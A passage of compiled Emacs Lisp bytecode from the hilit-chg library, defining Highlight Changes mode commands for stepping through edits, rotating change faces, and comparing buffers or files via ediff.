\307\310!*\207\307\311!\207" [highlight-changes-mode prop start nil get-text-property hilit-chg next-single-property-change message "no next change" "This buffer is not in Highlight Changes mode."] 4 (#$ . 16540) nil]) #@77 Move to the beginning of the previous change, if in Highlight Changes mode. (defalias 'highlight-changes-previous-change #[nil "\203F `\303o\204 \304`S\305\" \203 \306`\305\"\n\203$ \306\n\305\"\n\2038 \306\n\305\"\2067 \304e\305\"\2057 e\n\203A \nb\202D \307\310!*\207\307\311!\207" [highlight-changes-mode prop start nil get-text-property hilit-chg previous-single-property-change message "no previous change" "This buffer is not in Highlight Changes mode."] 3 (#$ . 16971) nil]) #@63 Construct `hilit-chg-list' and `highlight-changes-face-list'. (defalias 'hilit-chg-make-list #[(&optional force) "\203 \2036 \n\306\307 \307 \2035 \310\311\312\f\"!\313\314 \"\210\315 @\"\210\316 C\" A\fT\202 +\317\314D\306\307\211 \203i \310\311\320\f\"! @\316D\" A\fT\202E \316D\"\211,\207" [highlight-changes-face-list force highlight-changes-colors name n p 1 nil intern format "highlight-changes-%d" copy-face highlight-changes set-face-foreground append hilit-chg "change-%d" hilit-chg-list last-face last-category] 4 (#$ . 17468)]) #@59 Increment (age) the Highlight Changes mode text property. (defalias 'hilit-chg-bump-change #[(prop start end) "\305 \306=\203 \307\n8\202 \307 \n\2358 \203\" \310 \f\311$\202( \312\313 \f $)\207" [new-prop prop hilit-chg-list start end nil hilit-chg-delete 2 put-text-property hilit-chg message "%d-%d unknown property %s not changed"] 5 (#$ . 18057)]) #@601 Rotate the faces if in Highlight Changes mode and the changes are visible. Current changes are displayed in the face described by the first element of `highlight-changes-face-list', one level older changes are shown in face described by the second element, and so on. Very old changes remain shown in the last face in the list. You can automatically rotate colors when the buffer is saved by adding this function to `write-file-functions' as a buffer-local value. To do this, eval the following in the buffer to be saved: (add-hook 'write-file-functions 'highlight-changes-rotate-faces nil t) (defalias 'highlight-changes-rotate-faces #[nil "\203 \203 \304 \305\306\216\307 \210\310 \210\311\312!\210\313 \210+\314\207" [highlight-changes-mode highlight-changes-visible-mode inhibit-modification-hooks modified buffer-modified-p t ((byte-code "\204 \301\302!\210\302\207" [modified restore-buffer-modified-p nil] 2)) hilit-chg-make-list hilit-chg-hide-changes hilit-chg-map-changes hilit-chg-bump-change hilit-chg-display-changes nil] 2 (#$ . 18423) nil]) #@138 Get differences between two buffers and set highlight changes. Both buffers are done unless optional parameter MARKUP-A-ONLY is non-nil. (defalias 'highlight-markup-buffers #[(buf-a file-a buf-b file-b &optional markup-a-only) "\300\301!\210\302\213\207" [require ediff-util ((byte-code "\306\211\306\211\306\211 \306\211 \306 \307! \307! rq\210) rq\210) \306\211 \203d \203d \310\311\312\"!\203a rq\210\313 \210\307!)\202d \306 \204s \314\306\"\211 !\203\234 \203\234 \310\311\312\"!\203\231 rq\210\313 \210\307!)\202\234 \306!!\204\253 \314\306\"\211! q\210\315\316!\210\"\204\302 rq\210\315\316!\210)\317 !$\211@A@\320 \210 \203% @@ @A@\n@@\n@A@\f ZZq\210\321 \f $\210\"\204 rq\210\321 $\210) A\nA\202\327 \2044rq\210\322\306!\210)\204Crq\210\322\306!\210) \203M\323 !\210 \205V\323 !.\207" [change-info change-a change-b a-start a-end len-a nil buffer-modified-p y-or-n-p format "Save buffer %s? " save-buffer ediff-make-temp-file highlight-changes-mode 1 hilit-chg-get-diff-info hilit-chg-make-list hilit-chg-set-face-on-change set-buffer-modified-p delete-file b-start b-end len-b buf-a bufa-modified buf-b bufb-modified buffer-read-only buf-a-read-only buf-b-read-only temp-a temp-b file-a file-b markup-a-only] 6))] 2 (#$ . 19501)]) #@505 Compare two buffers and highlight the differences. The default is the current buffer and the one in the next window. If either buffer is modified and is visiting a file, you are prompted to save the file. Unless the buffer is unmodified and visiting a file, the buffer is written to a temporary file for comparison. If a buffer is read-only, differences will be highlighted but no property changes are made, so \[highlight-changes-next-change] and \[highlight-changes-previous-change] will not work. (defalias 'highlight-compare-buffers #[(buf-a buf-b) "\304!\304 !\305 \n$*\207" [buf-a buf-b file-b file-a buffer-file-name highlight-markup-buffers] 5 (#$ . 20878) (list (get-buffer (read-buffer "buffer-a " (current-buffer) t)) (get-buffer (read-buffer "buffer-b " (window-buffer (next-window (selected-window))) t)))]) #@542 Compare this buffer with a file, and highlight differences. If the buffer has a backup filename, it is used as the default when this function is called interactively. If the current buffer is visiting the file being compared against, it also will have its differences highlighted. Otherwise, the file is read in temporarily but the buffer is deleted. If the buffer is read-only, differences will be highlighted but no property changes are made, so \[highlight-changes-next-change] and \[highlight-changes-previous-change] will not work. (defalias 'highlight-compare-with-file #[(file-b) "p\306 \307\n!\211\206 \310\n! r\fq\210 ) \311 \f\n ?%\210 ?\205* \312\f!-\207" [buf-a file-a file-b existing-buf buf-b buffer-read-only buffer-file-name get-file-buffer find-file-noselect highlight-markup-buffers kill-buffer buf-b-read-only] 7 (#$ . 21715) (let ((file buffer-file-name) (file-name nil) (file-dir nil)) (and file (setq file-name (file-name-nondirectory file) file-dir (file-name-directory file))) (setq file-name (make-backup-file-name file-name)) (unless (file-exists-p file-name) (setq file-name nil)) (list (read-file-name "Find to compare with: " file-dir nil nil file-name)))]) (defalias 'hilit-chg-get-diff-info #[(buf-a file-a buf-b file-b) "\306\211\211\307 \f \306\211\310\311\312BC&\210\n\2034 \313\n!\2034 \314\313\n!!\2034 r\nq\210\315\306!\210)\202@ \316=\204@ \317!\210 +D\207" [y x e buf-a file-a buf-b nil ediff-setup hilit-chg-get-diff-list-hk ediff-job-name something get-buffer buffer-name ediff-really-quit ediff-quit error file-b this-command ediff-KILLED-VITAL-BUFFER] 10]) (defalias 'hilit-chg-get-diff-list-hk #[nil "p\306\307\211\211\211\211\211 \307\211W\205\344 \310!\210\311 \312\"A*JH\313H\211\203G \314\f\307\"\202` \311 \312\"A*JH\211\306\234C\n \203\200 \315 @!\316 @!D A\314C\"\202b \317 \312\"A*JH\313H\211\203\242 \314 \307\"\202\273 \317 \312\"A*JH\211\306\234C \203\333 \315 @!\316 @!D A\314C\"\202\275 T\211\202 .\207" [e b a vb va p 0 nil ediff-make-fine-diffs A assoc 1 append overlay-start overlay-end B extent n x y ediff-number-of-differences ediff-difference-vector-alist alist buf-type] 8]) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305\301!\207" [current-load-list highlight-changes-mode-major-mode default-boundp set-default nil make-variable-buffer-local] 3) #@308 Non-nil if Global-Highlight-Changes mode is enabled. See the command `global-highlight-changes-mode' for a description of this minor mode. Setting this variable directly does not take effect; either customize it (see the info node `Easy Customization') or call the function `global-highlight-changes-mode'. (custom-declare-variable 'global-highlight-changes-mode 'nil '(#$ . 24163) :set 'custom-set-minor-mode :initialize 'custom-initialize-default :group 'highlight-changes :type 'boolean) #@322 Toggle Highlight-Changes mode in every possible buffer. With prefix ARG, turn Global-Highlight-Changes mode on if and only if ARG is positive. Highlight-Changes mode is enabled in all buffers where `highlight-changes-mode-turn-on' would do it. See `highlight-changes-mode' for more information on Highlight-Changes mode. (defalias 'global-highlight-changes-mode #[(&optional arg) "\306 \307=\203 \n?\202( \203 \310 !\311V\202( \n\204\" \312\202( \313\314\302\"\210\315\211\203? \316\317\320\"\210\316\321\322\"\210\316\323\324\"\210\202N \325\317\320\"\210\325\321\322\"\210\325\323\324\"\210\326 \315\211 \203x \f@r q\210\n\203h \327 \210\202p \203p \305\330!\210)\fA\211\204W *\331\332\n\203\203 \333\202\204 \334\"\210\335 \203\250 \336\302!\210\306 \203\233 \306 \232\203\250 \313\337\n\203\245 \340\202\246 \341\"\210)\342 \210\n\207" [#1=#:last-message arg global-highlight-changes-mode buf --dolist-tail-- highlight-changes-mode current-message toggle prefix-numeric-value 0 t message "Toggling %s off; better pass an explicit argument." nil add-hook after-change-major-mode-hook global-highlight-changes-mode-enable-in-buffers find-file-hook global-highlight-changes-mode-check-buffers change-major-mode-hook global-highlight-changes-mode-cmhh remove-hook buffer-list highlight-changes-mode-turn-on -1 run-hooks global-highlight-changes-mode-hook global-highlight-changes-mode-on-hook global-highlight-changes-mode-off-hook called-interactively-p customize-mark-as-set "Global-Highlight-Changes mode %sabled" "en" "dis" force-mode-line-update] 4 (#$ . 24661) (list (or current-prefix-arg 'toggle))]) (byte-code "\301\302\303\304\305!\205 \305J#\210\306B\307\306!\204 \310\306\303\"\210\303\207" [current-load-list add-minor-mode global-highlight-changes-mode nil boundp global-highlight-changes-mode-map global-highlight-changes-mode-buffers default-boundp set-default] 5) (defalias 'global-highlight-changes-mode-enable-in-buffers #[nil "\306\211\2059 \n@\307 !\2031 r q\210 \203+ \f =\2040 \303\310!\210\311 \210 \2020 \311 \210 )\nA\211\204 \306*\207" [global-highlight-changes-mode-buffers buf --dolist-tail-- highlight-changes-mode highlight-changes-mode-major-mode major-mode nil buffer-live-p -1 highlight-changes-mode-turn-on] 3]) (put 'global-highlight-changes-mode-enable-in-buffers 'definition-name 'global-highlight-changes-mode) (defalias 'global-highlight-changes-mode-check-buffers #[nil "\301 \210\302\303\304\305\"\207" [global-highlight-changes-mode-buffers global-highlight-changes-mode-enable-in-buffers nil remove-hook post-command-hook global-highlight-changes-mode-check-buffers] 3]) (put 'global-highlight-changes-mode-check-buffers 'definition-name 'global-highlight-changes-mode) (defalias 'global-highlight-changes-mode-cmhh #[nil "\300\301p\"\210\302\303\304\"\207" [add-to-list global-highlight-changes-mode-buffers add-hook post-command-hook global-highlight-changes-mode-check-buffers] 3]) (byte-code "\300\301\302\303#\210\304\305\303\306#\210\307\305\303\310#\207" [put global-highlight-changes-mode-cmhh definition-name global-highlight-changes-mode defalias global-highlight-changes nil make-obsolete "23.1"] 4) #@134 See if Highlight Changes mode should be turned on for this buffer. This is called when `global-highlight-changes-mode' is turned on. (defalias 'highlight-changes-mode-turn-on #[nil "\206@ \204\n \303\207\304 !\203 \202: <\203/ \242\305=\203) \n A>?\202: \n >\202: \306\307\310 \"?\205@ \311 \205@ \300\312!\207" [highlight-changes-mode highlight-changes-global-modes major-mode nil functionp not string-match "^[ *]" buffer-name buffer-file-name 1] 3 (#$ . 27847)]) (defalias 'hilit-chg-desktop-restore #[(desktop-buffer-locals) "\301\211\236A\206 \302!\207" [desktop-buffer-locals highlight-changes-mode 1] 3]) (byte-code "\300\301\302\"\210\300\303\304\"\210\305\306!\207" [add-to-list desktop-minor-mode-handlers (highlight-changes-mode . hilit-chg-desktop-restore) desktop-locals-to-save highlight-changes-mode provide hilit-chg] 3)
Close
